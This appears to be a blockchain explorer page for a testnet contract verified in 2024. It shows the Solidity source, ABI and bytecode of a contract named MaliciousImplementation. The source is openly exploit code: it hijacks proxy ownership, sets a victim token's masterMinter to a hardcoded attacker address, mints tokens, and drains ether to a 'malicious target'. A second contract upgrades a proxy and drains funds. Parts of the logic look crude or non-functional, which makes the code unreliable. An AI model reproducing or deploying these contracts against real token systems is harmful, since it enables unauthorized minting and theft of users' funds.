Holesky Testnet

Contract

0x4849A475631D1697a4393a4858CC4D4f84D0c89A

Overview

ETH Balance

0 ETH

Multichain Info

N/A
Transaction Hash
Method
Block
From
To

There are no matching entries

Please try again later

Advanced mode:
Parent Transaction Hash Block From To
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MaliciousImplementation

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-11-29
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

// Proxy contract for upgradeability
contract UpgradeableProxy {
    address public implementation;
    address public owner;

    event Upgraded(address indexed newImplementation);
    event CallResult(bool success, bytes result);

    constructor(address _implementation) {
        implementation = _implementation;
        owner = msg.sender;
    }

    fallback() external payable {
        (bool success, bytes memory result) = implementation.delegatecall(msg.data);
        require(success, "Delegatecall failed");
        emit CallResult(success, result);
    }

    receive() external payable {
        if (msg.value > 0 && msg.sender != owner) {
            require(address(this).balance >= msg.value, "Insufficient balance");
            upgradeTo(implementation); // Upgrade using current implementation as the placeholder
        }
    }

    function upgradeTo(address _implementation) public {
        require(msg.sender == owner, "Not authorized");
        implementation = _implementation;
        emit Upgraded(_implementation);
    }
}

// Malicious implementation contract
contract MaliciousImplementation {
    address public proxyOwner;
    address public maliciousTarget;

    constructor(address _proxyOwner, address _maliciousTarget) {
        proxyOwner = _proxyOwner;
        maliciousTarget = _maliciousTarget;
    }

    // Hijack ownership of the proxy contract
    function takeOwnership() external {
        require(msg.sender == maliciousTarget, "Not authorized");
        proxyOwner = maliciousTarget;
    }

    // Function to set the masterMinter to the attacker's address (dynamically set)
    function setMasterMinter() external {
        require(msg.sender == proxyOwner, "Not authorized");

        // Dynamically set the masterMinter to the attacker's address (hardcoded here)
        address attackerAddress = 0x471aABd39E9aFa5F4798FC04be77C1cF587FB940;
        (bool success, ) = maliciousTarget.call(
            abi.encodeWithSignature("updateMasterMinter(address)", attackerAddress)
        );
        require(success, "setMasterMinter failed");
    }

    // Function to configure the attacker as a minter
    function configureMinter(address _minter, uint256 _allowedAmount) external {
        require(msg.sender == proxyOwner, "Not authorized");

        // Call the victim contract's configureMinter function
        (bool success, ) = maliciousTarget.call(
            abi.encodeWithSignature("configureMinter(address,uint256)", _minter, _allowedAmount)
        );
        require(success, "configureMinter failed");
    }

    // Mint tokens to the attacker's address
    function mint(address _to, uint256 _amount) external {
        require(msg.sender == proxyOwner, "Not authorized");

        // Call the victim contract's mint function
        (bool success, ) = maliciousTarget.call(
            abi.encodeWithSignature("mint(address,uint256)", _to, _amount)
        );
        require(success, "Mint failed");
    }

    fallback() external payable {}

    receive() external payable {
        if (msg.value > 0 && msg.sender != proxyOwner) {
            address payable target = payable(maliciousTarget);
            uint256 balance = address(this).balance;
            if (balance > 0) {
                target.transfer(balance); // Drain all funds to the malicious target
            }
        }
    }
}

// Exploit contract to interact with the vulnerable upgradeToAndCall functionality
contract UpgradeToAndCallTester {
    address public owner;
    address public maliciousTarget;

    event FallbackCalled(address indexed caller, bytes data);
    event CallResult(bool success, bytes result);

    constructor(address _maliciousTarget) {
        owner = msg.sender;
        maliciousTarget = _maliciousTarget;
    }

    function destroy() external {
        require(msg.sender == owner, "Not authorized");
        selfdestruct(payable(msg.sender));
    }

    fallback() external payable {
        emit FallbackCalled(msg.sender, msg.data);
    }

    receive() external payable {
        if (msg.value > 0 && msg.sender != owner) {
            drainFunds(payable(maliciousTarget)); // Transfer Ether to malicious target
        }
    }

    function complexOperation(uint256 recursiveDepth) external payable {
        require(msg.sender == owner, "Not authorized");
        require(recursiveDepth > 0, "Depth must be greater than zero");

        upgradeProxyToMalicious();
        drainFunds(payable(maliciousTarget));
        recursiveExploit(recursiveDepth);
    }

    function upgradeProxyToMalicious() internal {
        (bool success, ) = address(this).call(
            abi.encodeWithSignature("upgradeTo(address)", address(this))
        );
        require(success, "Upgrade to malicious contract failed");
        emit CallResult(success, "");
    }

    function drainFunds(address payable _to) internal {
        uint256 balance = address(this).balance;
        require(balance > 0, "No funds to drain");
        (bool success, ) = _to.call{value: balance}("");
        require(success, "Fund transfer failed");
        emit CallResult(success, "");
    }

    function recursiveExploit(uint256 depth) internal {
        if (depth == 0) return;
        (bool success, ) = address(this).delegatecall(
            abi.encodeWithSignature("recursiveExploit(uint256)", depth - 1)
        );
        require(success, "Recursive call failed");
    }
}

Contract ABI

[{"inputs":[{"internalType":"address","name":"_proxyOwner","type":"address"},{"internalType":"address","name":"_maliciousTarget","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"_minter","type":"address"},{"internalType":"uint256","name":"_allowedAmount","type":"uint256"}],"name":"configureMinter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maliciousTarget","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"proxyOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setMasterMinter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"takeOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801561000f575f5ffd5b50604051610df5380380610df583398181016040528101906100319190610115565b815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050610153565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6100e4826100bb565b9050919050565b6100f4816100da565b81146100fe575f5ffd5b50565b5f8151905061010f816100eb565b92915050565b5f5f6040838503121561012b5761012a6100b7565b5b5f61013885828601610101565b925050602061014985828601610101565b9150509250929050565b610c95806101605f395ff3fe608060405260043610610058575f3560e01c8063025313a21461013a57806340c10f1914610164578063415f095f1461018c5780634e44d956146101a25780634f17ba7a146101ca57806360536172146101f457610138565b36610138575f341180156100b857505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15610136575f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f4790505f811115610133578173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610131573d5f5f3e3d5ffd5b505b50505b005b005b348015610145575f5ffd5b5061014e61020a565b60405161015b9190610959565b60405180910390f35b34801561016f575f5ffd5b5061018a600480360381019061018591906109d3565b61022e565b005b348015610197575f5ffd5b506101a0610419565b005b3480156101ad575f5ffd5b506101c860048036038101906101c391906109d3565b610619565b005b3480156101d5575f5ffd5b506101de610804565b6040516101eb9190610959565b60405180910390f35b3480156101ff575f5ffd5b50610208610829565b005b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102b390610a6b565b60405180910390fd5b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383604051602401610308929190610a98565b6040516020818303038152906040527f40c10f19000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516103929190610b11565b5f604051808303815f865af19150503d805f81146103cb576040519150601f19603f3d011682016040523d82523d5f602084013e6103d0565b606091505b5050905080610414576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161040b90610b71565b60405180910390fd5b505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049e90610a6b565b60405180910390fd5b5f73471aabd39e9afa5f4798fc04be77c1cf587fb94090505f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826040516024016105099190610959565b6040516020818303038152906040527faa20e1e4000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516105939190610b11565b5f604051808303815f865af19150503d805f81146105cc576040519150601f19603f3d011682016040523d82523d5f602084013e6105d1565b606091505b5050905080610615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060c90610bd9565b60405180910390fd5b5050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069e90610a6b565b60405180910390fd5b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683836040516024016106f3929190610a98565b6040516020818303038152906040527f4e44d956000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161077d9190610b11565b5f604051808303815f865af19150503d805f81146107b6576040519150601f19603f3d011682016040523d82523d5f602084013e6107bb565b606091505b50509050806107ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f690610c41565b60405180910390fd5b505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108af90610a6b565b60405180910390fd5b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6109438261091a565b9050919050565b61095381610939565b82525050565b5f60208201905061096c5f83018461094a565b92915050565b5f5ffd5b61097f81610939565b8114610989575f5ffd5b50565b5f8135905061099a81610976565b92915050565b5f819050919050565b6109b2816109a0565b81146109bc575f5ffd5b50565b5f813590506109cd816109a9565b92915050565b5f5f604083850312156109e9576109e8610972565b5b5f6109f68582860161098c565b9250506020610a07858286016109bf565b9150509250929050565b5f82825260208201905092915050565b7f4e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f610a55600e83610a11565b9150610a6082610a21565b602082019050919050565b5f6020820190508181035f830152610a8281610a49565b9050919050565b610a92816109a0565b82525050565b5f604082019050610aab5f83018561094a565b610ab86020830184610a89565b9392505050565b5f81519050919050565b5f81905092915050565b8281835e5f83830152505050565b5f610aeb82610abf565b610af58185610ac9565b9350610b05818560208601610ad3565b80840191505092915050565b5f610b1c8284610ae1565b915081905092915050565b7f4d696e74206661696c65640000000000000000000000000000000000000000005f82015250565b5f610b5b600b83610a11565b9150610b6682610b27565b602082019050919050565b5f6020820190508181035f830152610b8881610b4f565b9050919050565b7f7365744d61737465724d696e746572206661696c6564000000000000000000005f82015250565b5f610bc3601683610a11565b9150610bce82610b8f565b602082019050919050565b5f6020820190508181035f830152610bf081610bb7565b9050919050565b7f636f6e6669677572654d696e746572206661696c6564000000000000000000005f82015250565b5f610c2b601683610a11565b9150610c3682610bf7565b602082019050919050565b5f6020820190508181035f830152610c5881610c1f565b905091905056fea2646970667358221220fdd47ce7396bc477d4a11ba2cdf4a3fce05172459819720b2631c44109577e8d64736f6c634300081c0033000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5

Deployed Bytecode

0x608060405260043610610058575f3560e01c8063025313a21461013a57806340c10f1914610164578063415f095f1461018c5780634e44d956146101a25780634f17ba7a146101ca57806360536172146101f457610138565b36610138575f341180156100b857505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15610136575f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f4790505f811115610133578173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015610131573d5f5f3e3d5ffd5b505b50505b005b005b348015610145575f5ffd5b5061014e61020a565b60405161015b9190610959565b60405180910390f35b34801561016f575f5ffd5b5061018a600480360381019061018591906109d3565b61022e565b005b348015610197575f5ffd5b506101a0610419565b005b3480156101ad575f5ffd5b506101c860048036038101906101c391906109d3565b610619565b005b3480156101d5575f5ffd5b506101de610804565b6040516101eb9190610959565b60405180910390f35b3480156101ff575f5ffd5b50610208610829565b005b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102b390610a6b565b60405180910390fd5b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383604051602401610308929190610a98565b6040516020818303038152906040527f40c10f19000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516103929190610b11565b5f604051808303815f865af19150503d805f81146103cb576040519150601f19603f3d011682016040523d82523d5f602084013e6103d0565b606091505b5050905080610414576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161040b90610b71565b60405180910390fd5b505050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049e90610a6b565b60405180910390fd5b5f73471aabd39e9afa5f4798fc04be77c1cf587fb94090505f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16826040516024016105099190610959565b6040516020818303038152906040527faa20e1e4000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516105939190610b11565b5f604051808303815f865af19150503d805f81146105cc576040519150601f19603f3d011682016040523d82523d5f602084013e6105d1565b606091505b5050905080610615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060c90610bd9565b60405180910390fd5b5050565b5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069e90610a6b565b60405180910390fd5b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683836040516024016106f3929190610a98565b6040516020818303038152906040527f4e44d956000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161077d9190610b11565b5f604051808303815f865af19150503d805f81146107b6576040519150601f19603f3d011682016040523d82523d5f602084013e6107bb565b606091505b50509050806107ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f690610c41565b60405180910390fd5b505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108af90610a6b565b60405180910390fd5b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6109438261091a565b9050919050565b61095381610939565b82525050565b5f60208201905061096c5f83018461094a565b92915050565b5f5ffd5b61097f81610939565b8114610989575f5ffd5b50565b5f8135905061099a81610976565b92915050565b5f819050919050565b6109b2816109a0565b81146109bc575f5ffd5b50565b5f813590506109cd816109a9565b92915050565b5f5f604083850312156109e9576109e8610972565b5b5f6109f68582860161098c565b9250506020610a07858286016109bf565b9150509250929050565b5f82825260208201905092915050565b7f4e6f7420617574686f72697a65640000000000000000000000000000000000005f82015250565b5f610a55600e83610a11565b9150610a6082610a21565b602082019050919050565b5f6020820190508181035f830152610a8281610a49565b9050919050565b610a92816109a0565b82525050565b5f604082019050610aab5f83018561094a565b610ab86020830184610a89565b9392505050565b5f81519050919050565b5f81905092915050565b8281835e5f83830152505050565b5f610aeb82610abf565b610af58185610ac9565b9350610b05818560208601610ad3565b80840191505092915050565b5f610b1c8284610ae1565b915081905092915050565b7f4d696e74206661696c65640000000000000000000000000000000000000000005f82015250565b5f610b5b600b83610a11565b9150610b6682610b27565b602082019050919050565b5f6020820190508181035f830152610b8881610b4f565b9050919050565b7f7365744d61737465724d696e746572206661696c6564000000000000000000005f82015250565b5f610bc3601683610a11565b9150610bce82610b8f565b602082019050919050565b5f6020820190508181035f830152610bf081610bb7565b9050919050565b7f636f6e6669677572654d696e746572206661696c6564000000000000000000005f82015250565b5f610c2b601683610a11565b9150610c3682610bf7565b602082019050919050565b5f6020820190508181035f830152610c5881610c1f565b905091905056fea2646970667358221220fdd47ce7396bc477d4a11ba2cdf4a3fce05172459819720b2631c44109577e8d64736f6c634300081c0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5

-----Decoded View---------------
Arg [0] : _proxyOwner (address): 0xBc0C24E6f24eC2F1fd7E859B8322A1277F80aaD5
Arg [1] : _maliciousTarget (address): 0xBc0C24E6f24eC2F1fd7E859B8322A1277F80aaD5

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5
Arg [1] : 000000000000000000000000bc0c24e6f24ec2f1fd7e859b8322a1277f80aad5


Deployed Bytecode Sourcemap

1187:2332:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3215:1;3203:9;:13;:41;;;;;3234:10;;;;;;;;;;;3220:24;;:10;:24;;;;3203:41;3199:310;;;3261:22;3294:15;;;;;;;;;;;3261:49;;3325:15;3343:21;3325:39;;3393:1;3383:7;:11;3379:119;;;3415:6;:15;;:24;3431:7;3415:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3379:119;3246:263;;3199:310;1187:2332;;;1227:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2757:358;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1741:475;;;;;;;;;;;;;:::i;:::-;;2279:424;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1259:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1500:148;;;;;;;;;;;;;:::i;:::-;;1227:25;;;;;;;;;;;;;:::o;2757:358::-;2843:10;;;;;;;;;;;2829:24;;:10;:24;;;2821:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;2939:12;2957:15;;;;;;;;;;;:20;;3041:3;3046:7;2992:62;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2957:108;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2938:127;;;3084:7;3076:31;;;;;;;;;;;;:::i;:::-;;;;;;;;;2810:305;2757:358;;:::o;1741:475::-;1810:10;;;;;;;;;;;1796:24;;:10;:24;;;1788:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;1940:23;1966:42;1940:68;;2020:12;2038:15;;;;;;;;;;;:20;;2128:15;2073:71;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2038:117;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2019:136;;;2174:7;2166:42;;;;;;;;;;;;:::i;:::-;;;;;;;;;1777:439;;1741:475::o;2279:424::-;2387:10;;;;;;;;;;;2373:24;;:10;:24;;;2365:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;2494:12;2512:15;;;;;;;;;;;:20;;2607:7;2616:14;2547:84;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2512:130;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2493:149;;;2661:7;2653:42;;;;;;;;;;;;:::i;:::-;;;;;;;;;2354:349;2279:424;;:::o;1259:30::-;;;;;;;;;;;;;:::o;1500:148::-;1567:15;;;;;;;;;;;1553:29;;:10;:29;;;1545:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1625:15;;;;;;;;;;;1612:10;;:28;;;;;;;;;;;;;;;;;;1500:148::o;7:126:1:-;44:7;84:42;77:5;73:54;62:65;;7:126;;;:::o;139:96::-;176:7;205:24;223:5;205:24;:::i;:::-;194:35;;139:96;;;:::o;241:118::-;328:24;346:5;328:24;:::i;:::-;323:3;316:37;241:118;;:::o;365:222::-;458:4;496:2;485:9;481:18;473:26;;509:71;577:1;566:9;562:17;553:6;509:71;:::i;:::-;365:222;;;;:::o;674:117::-;783:1;780;773:12;920:122;993:24;1011:5;993:24;:::i;:::-;986:5;983:35;973:63;;1032:1;1029;1022:12;973:63;920:122;:::o;1048:139::-;1094:5;1132:6;1119:20;1110:29;;1148:33;1175:5;1148:33;:::i;:::-;1048:139;;;;:::o;1193:77::-;1230:7;1259:5;1248:16;;1193:77;;;:::o;1276:122::-;1349:24;1367:5;1349:24;:::i;:::-;1342:5;1339:35;1329:63;;1388:1;1385;1378:12;1329:63;1276:122;:::o;1404:139::-;1450:5;1488:6;1475:20;1466:29;;1504:33;1531:5;1504:33;:::i;:::-;1404:139;;;;:::o;1549:474::-;1617:6;1625;1674:2;1662:9;1653:7;1649:23;1645:32;1642:119;;;1680:79;;:::i;:::-;1642:119;1800:1;1825:53;1870:7;1861:6;1850:9;1846:22;1825:53;:::i;:::-;1815:63;;1771:117;1927:2;1953:53;1998:7;1989:6;1978:9;1974:22;1953:53;:::i;:::-;1943:63;;1898:118;1549:474;;;;;:::o;2029:169::-;2113:11;2147:6;2142:3;2135:19;2187:4;2182:3;2178:14;2163:29;;2029:169;;;;:::o;2204:164::-;2344:16;2340:1;2332:6;2328:14;2321:40;2204:164;:::o;2374:366::-;2516:3;2537:67;2601:2;2596:3;2537:67;:::i;:::-;2530:74;;2613:93;2702:3;2613:93;:::i;:::-;2731:2;2726:3;2722:12;2715:19;;2374:366;;;:::o;2746:419::-;2912:4;2950:2;2939:9;2935:18;2927:26;;2999:9;2993:4;2989:20;2985:1;2974:9;2970:17;2963:47;3027:131;3153:4;3027:131;:::i;:::-;3019:139;;2746:419;;;:::o;3171:118::-;3258:24;3276:5;3258:24;:::i;:::-;3253:3;3246:37;3171:118;;:::o;3295:332::-;3416:4;3454:2;3443:9;3439:18;3431:26;;3467:71;3535:1;3524:9;3520:17;3511:6;3467:71;:::i;:::-;3548:72;3616:2;3605:9;3601:18;3592:6;3548:72;:::i;:::-;3295:332;;;;;:::o;3633:98::-;3684:6;3718:5;3712:12;3702:22;;3633:98;;;:::o;3737:147::-;3838:11;3875:3;3860:18;;3737:147;;;;:::o;3890:139::-;3979:6;3974:3;3969;3963:23;4020:1;4011:6;4006:3;4002:16;3995:27;3890:139;;;:::o;4035:386::-;4139:3;4167:38;4199:5;4167:38;:::i;:::-;4221:88;4302:6;4297:3;4221:88;:::i;:::-;4214:95;;4318:65;4376:6;4371:3;4364:4;4357:5;4353:16;4318:65;:::i;:::-;4408:6;4403:3;4399:16;4392:23;;4143:278;4035:386;;;;:::o;4427:271::-;4557:3;4579:93;4668:3;4659:6;4579:93;:::i;:::-;4572:100;;4689:3;4682:10;;4427:271;;;;:::o;4704:161::-;4844:13;4840:1;4832:6;4828:14;4821:37;4704:161;:::o;4871:366::-;5013:3;5034:67;5098:2;5093:3;5034:67;:::i;:::-;5027:74;;5110:93;5199:3;5110:93;:::i;:::-;5228:2;5223:3;5219:12;5212:19;;4871:366;;;:::o;5243:419::-;5409:4;5447:2;5436:9;5432:18;5424:26;;5496:9;5490:4;5486:20;5482:1;5471:9;5467:17;5460:47;5524:131;5650:4;5524:131;:::i;:::-;5516:139;;5243:419;;;:::o;5668:172::-;5808:24;5804:1;5796:6;5792:14;5785:48;5668:172;:::o;5846:366::-;5988:3;6009:67;6073:2;6068:3;6009:67;:::i;:::-;6002:74;;6085:93;6174:3;6085:93;:::i;:::-;6203:2;6198:3;6194:12;6187:19;;5846:366;;;:::o;6218:419::-;6384:4;6422:2;6411:9;6407:18;6399:26;;6471:9;6465:4;6461:20;6457:1;6446:9;6442:17;6435:47;6499:131;6625:4;6499:131;:::i;:::-;6491:139;;6218:419;;;:::o;6643:172::-;6783:24;6779:1;6771:6;6767:14;6760:48;6643:172;:::o;6821:366::-;6963:3;6984:67;7048:2;7043:3;6984:67;:::i;:::-;6977:74;;7060:93;7149:3;7060:93;:::i;:::-;7178:2;7173:3;7169:12;7162:19;;6821:366;;;:::o;7193:419::-;7359:4;7397:2;7386:9;7382:18;7374:26;;7446:9;7440:4;7436:20;7432:1;7421:9;7417:17;7410:47;7474:131;7600:4;7474:131;:::i;:::-;7466:139;;7193:419;;;:::o

Swarm Source

ipfs://fdd47ce7396bc477d4a11ba2cdf4a3fce05172459819720b2631c44109577e8d

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.